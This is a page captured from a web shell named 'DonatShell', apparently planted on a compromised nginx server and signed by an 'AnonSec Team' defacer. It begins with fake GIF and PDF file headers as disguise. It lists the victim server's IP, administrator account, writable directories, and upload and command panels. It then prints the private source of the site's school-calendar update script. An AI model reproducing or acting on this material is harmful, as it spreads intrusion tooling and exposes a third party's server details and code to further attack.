GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Waldo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Waldo/schoolUpdate.phpinc
<?
// Admiv/Waldo/schoolUpdate.phpinc
#d_On();
d_Var('$dates',$dates);
d_Var('$date_0',$date_0);
d_Var('$status_0',$status_0);
d_Var('$note_0',$note_0);

// Update existing dates.
$dates = explode(',',$dates);
foreach ( $dates as $date ) {
	$sDate = str_replace('-','',$date);
	$status = formValue('status_'.$sDate);
	$statusOriginal = formValue('statusOriginal_'.$sDate);
	$note = formValue('note_'.$sDate);
	$noteOriginal = formValue('noteOriginal_'.$sDate);
	d_Var('$date',$date);
	d_Var('$status',$status);
	d_Var('$statusOriginal',$statusOriginal);
	d_Var('$note',$note);
	d_Var('$noteOriginal',$noteOriginal);
	if ( $status != $statusOriginal || $note != $noteOriginal ) {
		// Change made.
		d_line('Change made for '.$date.'.','i');
		if ( $status || $note ) {
			// UPDATE date.
			d_Line('UPDATE date.','i');
			$query = "
					UPDATE `calendarschool` 
						 SET schoolStatus = '".query_safe($status)."',
								 schoolNote = '".query_safe($note)."'
					 WHERE schoolDate = '".query_safe($date)."'
			";
			d_Var('calendarschoolUpdate',$query,'dq');
			$calendarschoolUpdate = query_do($query);
			@d_Var('$calendarschoolUpdate',$calendarschoolUpdate);
			displayNotice($date.' updated.');
		} else {
			// DELETE date.
			d_Line('DELETE date.','i');
			$query = "
					DELETE
						FROM `calendarschool`
					 WHERE schoolDate = '".query_safe($date)."'
			";
			d_Var('calendarschoolDelete',$query,'q');
			$calendarschoolDelete = query_do($query);
			@d_Var('$calendarschoolDelete',$calendarschoolDelete);
			displayNotice($date.' removed.');
		}
	}
}

// Add new school date.
if ( $date_0 ) {
	// Check if date is valid.
	d_Var("valid_date($date_0)",valid_date($date_0));
	if ( valid_date($date_0) ) {
		// Date is valid,
		d_Line('date_0 is valid.','i');
		// Check if date is in semester.
		if ( $date_0 >= $sessionInfo['sessionStart'] && $date_0 <= $sessionInfo['sessionEnd'] ) {
			// Date is in semester.
			d_Line('date_0 is in semester.','i');
			// See if this date is already defined.
			$query = "
					SELECT schoolId,
								 schoolYRTR,
								 schoolDate,
								 schoolStatus,
								 schoolNote
						FROM `calendarschool`
					 WHERE schoolDate = '".query_safe($date_0)."'
			";
			$calendarschoolResult = query_do($query);
			$calendarschoolResultCount = $_SESSION['qry']['count'];
			if (!$calendarschoolResultCount) {
				// Date is not already set.
				d_Line('date_0 is not already set.','i');
				// Validate status_0.
				if ( isset($options[$status_0]) ) {
					// status_0 is valid.
					d_Line('status_0 is valid.','i');
					// Validate note_0.
					if ( $status_0 != '' || $note_0 != '' ) {
						// note_0 is valid.
						d_Line('note_0 is valid.','i');
						// INSERT the date entry.
						$query = "
								INSERT
									INTO `calendarschool` (
									schoolYRTR,
									schoolDate,
									schoolStatus,
									schoolNote
								) VALUES (
								 '".query_safe($_SESSION['YRTR']['User'])."',
								 '".query_safe($date_0)."',
								 '".query_safe($status_0)."',
								 '".query_safe($note_0)."'
								)
						";
						$calendarschoolInsert = query_do($query);
						displayNotice($date_0.' added.');
						$date_0 = ''; 
						$status_0 = '';
						$note_0 = '';
					} else {
						// note_0 is not valid.
						displayError('The new note ('.$note_0.') is not valid.');
					}
				} else {
					// status_0 is not valid.
					displayError('The new status ('.$status_0.') is not valid.');
				}
			} else {
				// Date is already set.
				displayError('The new date ('.$date_0.') is already set.');
			}
		} else {
			// Date out of semester.
			displayError('The new date ('.$date_0.') is not in the '.$sessionInfo['sessionName'].'('.$sessionInfo['sessionStart'].' - '.$sessionInfo['sessionEnd'].').');
		}
	} else {
		// Date is not valid.
		displayError('The new date ('.$date_0.') is not valid.');
	}
}
#d_Off();
?>

Anon7 - 2022
AnonSec Team